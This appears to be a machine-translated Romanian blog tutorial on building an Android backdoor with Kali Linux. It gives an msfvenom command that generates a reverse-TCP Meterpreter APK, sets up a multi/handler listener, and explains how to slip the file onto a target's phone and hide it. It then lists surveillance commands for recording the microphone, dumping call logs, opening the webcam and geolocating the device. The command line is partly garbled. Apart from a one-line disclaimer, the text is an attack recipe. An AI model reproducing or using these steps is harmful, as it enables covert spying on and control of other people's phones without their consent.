Un smartphone Android este adesea o poartă către majoritatea gadgeturilor IoT comerciale. O alarmă de fum Nest este gestionată printr-o aplicație Android relevantă. La fel și un termostat Nest pentru controlul temperaturii. Încuietori inteligente, came cu sonerie – aproape toate dispozitivele inteligente pot fi accesate din Alexa sau din alte aplicații principale. Ce se întâmplă dacă cineva ar avea acces la distanță la un astfel de telefon Android? Crezi că este imposibil? Pentru aceasta, vom oferi o demonstrație de bază despre modul în care un „metasploit” Kali Linux poate fi utilizat pentru a crea o intrare în spate pe telefonul dvs. Android.
Notă: acest tutorial este destinat cercetătorilor și pasionaților de securitate. Nu recomandăm piratarea telefonului cuiva fără permisiunea acestuia.
fundal
Înainte de a începe să lucrați la Kali Linux, trebuie mai întâi să vă familiarizați cu terminalul consolei sale.
Găzduiește cu ușurință o listă cuprinzătoare de instrumente concepute pentru a viza firmware-ul sau sistemul de operare al unui dispozitiv.
Aici vom folosi unul dintre instrumentele obișnuite numite „MSFVenom” pentru a insera un virus într-un telefon Android. Generează mai multe tipuri de sarcini utile pe baza opțiunilor selectate de utilizator. Exploatarea funcționează pe mai multe platforme, inclusiv Windows, Android, OpenBSD, Solaris, JAVA, PHP și hardware pentru jocuri.
Lansarea unui Android Metasploit
Următorii pași vor demonstra cum să descărcați MSFVenom pe un sistem Kali Linux.
Porniți terminalul și introduceți următoarea comandă.
msfvenom - p android/meterpreter/reverse_tcp L HOST=IP address LPORT=Number R > /root/LOCATION/hackand.apk
Aici, sarcina utilă este lansată utilizând o extensie Exploit denumită „Meterpreter”.
Pentru a determina adresa IP a gazdei de ascultare, deschideți un nou terminal de consolă și introduceți ifconfig. De obicei, portul 4444 este atribuit pentru troieni, exploit-uri și viruși.
Odată ce adresa IP a fost stabilită, reveniți la ecranul anterior și introduceți detaliile.
Fișierul „hackand.apk” va fi salvat pe desktop și este principalul exploat de backdoor care va fi utilizat pe telefonul Android.
În pasul următor, lansați „msfconsole”, care este un instrument comun de testare a penetrării utilizat cu Kali Linux. Pentru aceasta, introduceți service postgresql start urmat de msfconsole. PostgreSQL se referă la o bază de date în care a fost stocată consola.
Odată ce instrumentul de penetrare este gata, puteți lansa exploatarea rămasă.
Apoi, va fi folosit un executabil numit „multi-handler”.
use multi/handler
Consultați imaginea de mai jos pentru conectarea exploitului la consolă. Se vor utiliza aceeași adresă IP și numere de port.
În etapa următoare, exploit-ul msfvenom va fi lansat și inițializat cu un simplu exploit comanda. Acum, trebuie să găsim o țintă care va fi un telefon Android.
Conectarea terminalului Kali Linux cu telefonul Android
Fișierul hackand.apk pe care l-am descărcat anterior are o dimensiune de numai 10 KB. Va trebui să găsiți o modalitate de a insera fișierul în telefonul țintei. Puteți transfera virusul utilizând USB sau un serviciu de e-mail temporar.
În general, furnizorii de mesaje web precum Gmail sau Yahoo vor refuza să poarte acest fișier infectat cu virus.
Android vă va avertiza înainte de a introduce software-ul. Dar, durează doar 20 de secunde pentru a finaliza instalarea, deoarece trebuie doar să „ignorați riscul și să instalați”. Acest lucru face ca amenințarea să fie oarecum gravă dacă telefonul dvs. este în modul de deblocare.
După cum se arată aici, se pot face multe daune telefonului, inclusiv modificarea conținutului de stocare, împiedicarea telefonului de a dormi, conectarea și deconectarea de la Wi-Fi, setarea fundalului și multe altele.
Odată ce fișierul APK este instalat, acesta poate fi ascuns inteligent în telefon.
Acum, puteți utiliza multe comenzi precum următoarele pe terminalul Kali Linux pentru a controla telefonul. Nu trebuie să vă amintiți cu adevărat, deoarece lista este disponibilă dintr-un simplu help opțiune în meterpreter.
-
record_mic: înregistrarea microfonului -
dump calllog: obțineți jurnalul de apeluri -
webcam_chat: începe un chat video -
geolocate: obțineți locația curentă a telefonului
Cele mai avansate telefoane Android vor împiedica instalarea acestei aplicații rău intenționate. Deci, acest exploit va funcționa în general cu modele Android mai vechi.
Gânduri
În acest tutorial, am văzut o strategie de bază a utilizării Kali Linux pentru a avea acces la un smartphone Android. Chiar dacă acesta este un exploit foarte simplu, are mari implicații în ceea ce privește securitatea IoT.
Ce crezi despre exploatările Kali Linux? Vei fi mai precaut cu privire la securitatea telefonului tău? Anunțați-ne în comentarii.
